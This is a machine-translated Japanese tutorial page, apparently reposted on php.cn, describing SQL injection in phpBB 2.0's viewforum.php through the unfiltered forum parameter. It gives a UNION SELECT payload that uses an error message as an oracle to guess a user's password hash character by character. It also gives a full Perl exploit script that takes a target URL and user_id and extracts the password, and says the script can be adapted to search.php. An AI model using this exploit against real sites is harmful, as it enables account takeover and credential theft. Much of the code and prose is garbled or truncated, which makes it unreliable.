ホームページ > php教程 > php手册 > PHPインジェクションの例

PHPインジェクションの例

WBOY
リリース: 2016-06-13 12:44:15
オリジナル
978 人が閲覧しました


PHPインジェクションの例 PHP インジェクションとアプリケーション コードに関する完全な記事をインターネット上で見つけるのは難しいので、他の人にインスピレーションを与えることを願って、私は数週間 mysql と PHP を勉強しました。
と信じています。私は asp のインジェクションについてはすでによく知っていますが、php の magic_gpc オプションは本当に頭の痛い問題なので、インジェクションでは引用符を使用しないでください。 php は主に mysql と組み合わされており、別の人から見ると mysql の機能上の欠点はあるものの、SQL インジェクション攻撃をある程度防ぐことができます。ここでは phpbb2.0 を例に挙げます。 >viewforum.php にフィルタリングされていない変数があります:
if ( isset($HTTP_GET_VARS{
$forum_id = ( isset ($HTTP_GET_VARS
($HTTP_POST_VARSelse if ( isset($HTTP_GET_VARS['フォーラム']))
{
$forum_id = $ HTTP_GET_VARS['フォーラム']
}
else
{
$forum_id = ''; >これはこのフォーラムであり、以下のクエリに直接入力されます:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " .
WHERE forum_id = $forum_id";
if ( ! ($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'フォーラム情報を取得できませんでした' , '', __LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')

asp の場合、この forum_id を指定すると、フォーラムが存在しない場合、$result が空になり、「フォーラムの情報が取得できませんでした」というメッセージが返されるため、以下のコードは実行できません。実行されました
//
// クエリが行を返さない場合、これは有効なフォーラムではありません。
//
if ( !($) forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist')
}

//
// セッション管理を開始します。
//
$userdata = session_pagestart($user_ip, $forum_id ) /***************************** **********

重要なのは、アスタリスクでマークされた行です。ここにある関数は session_pagestart($user_ip, $thispage_id) で、これは session.php で定義されている関数です。コードは

すぎるので、全文は掲載しません。興味のある方はご自身でご覧ください。関数の呼び出しは次のとおりです。 session_begin($user_id, $user_ip,

$thispage_id, TRUE))、このファイルにも定義されており、次のコードが含まれています
$sql = "SESSIONS_TABLE" 。 >SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =

$page_id, session_logged_in = $login
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($sql)) ││ !$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . "
(session_id, session_user_id, session_start, session_ip, session_page,

session_logged_in) )
VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)";
if ( !($result = $db->sql_query( $sql)) )
{
message_die(CRITICAL_ERROR, '新しいセッションの作成エラー: session_begin', '', __LINE__ , __FILE__,

$sql);


ここには mysql で整数として定義されている session_page があり、その値 $page_id も $forum_id です。挿入された値が整数でない場合、エラーが報告され、エラーが発生します。

creating new session: session_begin プロンプトが表示されるため、$forum_id の値を参照することが非常に重要なので、次のように指定しました:-1 Union select 1,1,1,1,1,1, 1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 (user_id=2 および ord(substring(user_password,1,1))= の phpbb_users から57、引用符は不要です。存在しない forum_id が指定されていますが、返されるクエリ結果は必ずしも空ではありません。これは、user_id が 2 であるユーザーの最初のパスワードの ASCII コード値が 57 であるかどうかを推測するためです。記事 最初のコードの $result が空ではないので、問題のある関数 session_pagestart が実行されます。挿入された数値が整数でない場合は、当然エラーが発生します。したがって、Error created new session: session_begin が表示されます。

このようなエラーメッセージがないと、注入が成功しても成功したかどうかの判断が難しいと思います。エラー メッセージも非常に役立つようです。以下にテスト コードを添付します。ここでは、英語版を使用します。中国語およびその他の言語の場合は、

use HTTP::Response;
use LWP::UserAgent; を変更します。 >$ua = 新しい LWP::UserAgent;

print " **********************n"; viewforum.php expn";
print " code by pineyesn" ;
print " www.icehack.comn";
print " ***************** *******n";
print "脆弱なファイルの URL を入力してください:n";
print "例: http://192.168.1.4/phpBB2/viewforum.phpn";
$ adr=;
chomp($adr) ;
print "解読したいuser_idを入力してください";
$u=; );
print "作業を開始します。お待ちください!n" ;
@pink=(@pink,97..102); $j=1;$jfor ($i=0;$i$url=$adr."?forum=-1 Union select 1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where%

20user_id=$u and ord(substring(user_password ,$j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua- >request($request);

if ($response->is_success) {
if ($response->content) =~ /新しいセッションの作成エラー/) {
$pwd .=chr($pink[$i]);
print "$pwdn";

}
}
}
if ($pwd ne "" ){
print "成功しました、パスワードは $pwd です、頑張ってください";}
else{
print "不運です、仕事は失敗しました!n";}

最近の phpbb2 .0.6 の search.php の問題については、上記のコードを少し変更するだけで悪用できます。エラーがある場合は、www.icehack.com にアクセスしてください。それらを修正してください。

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート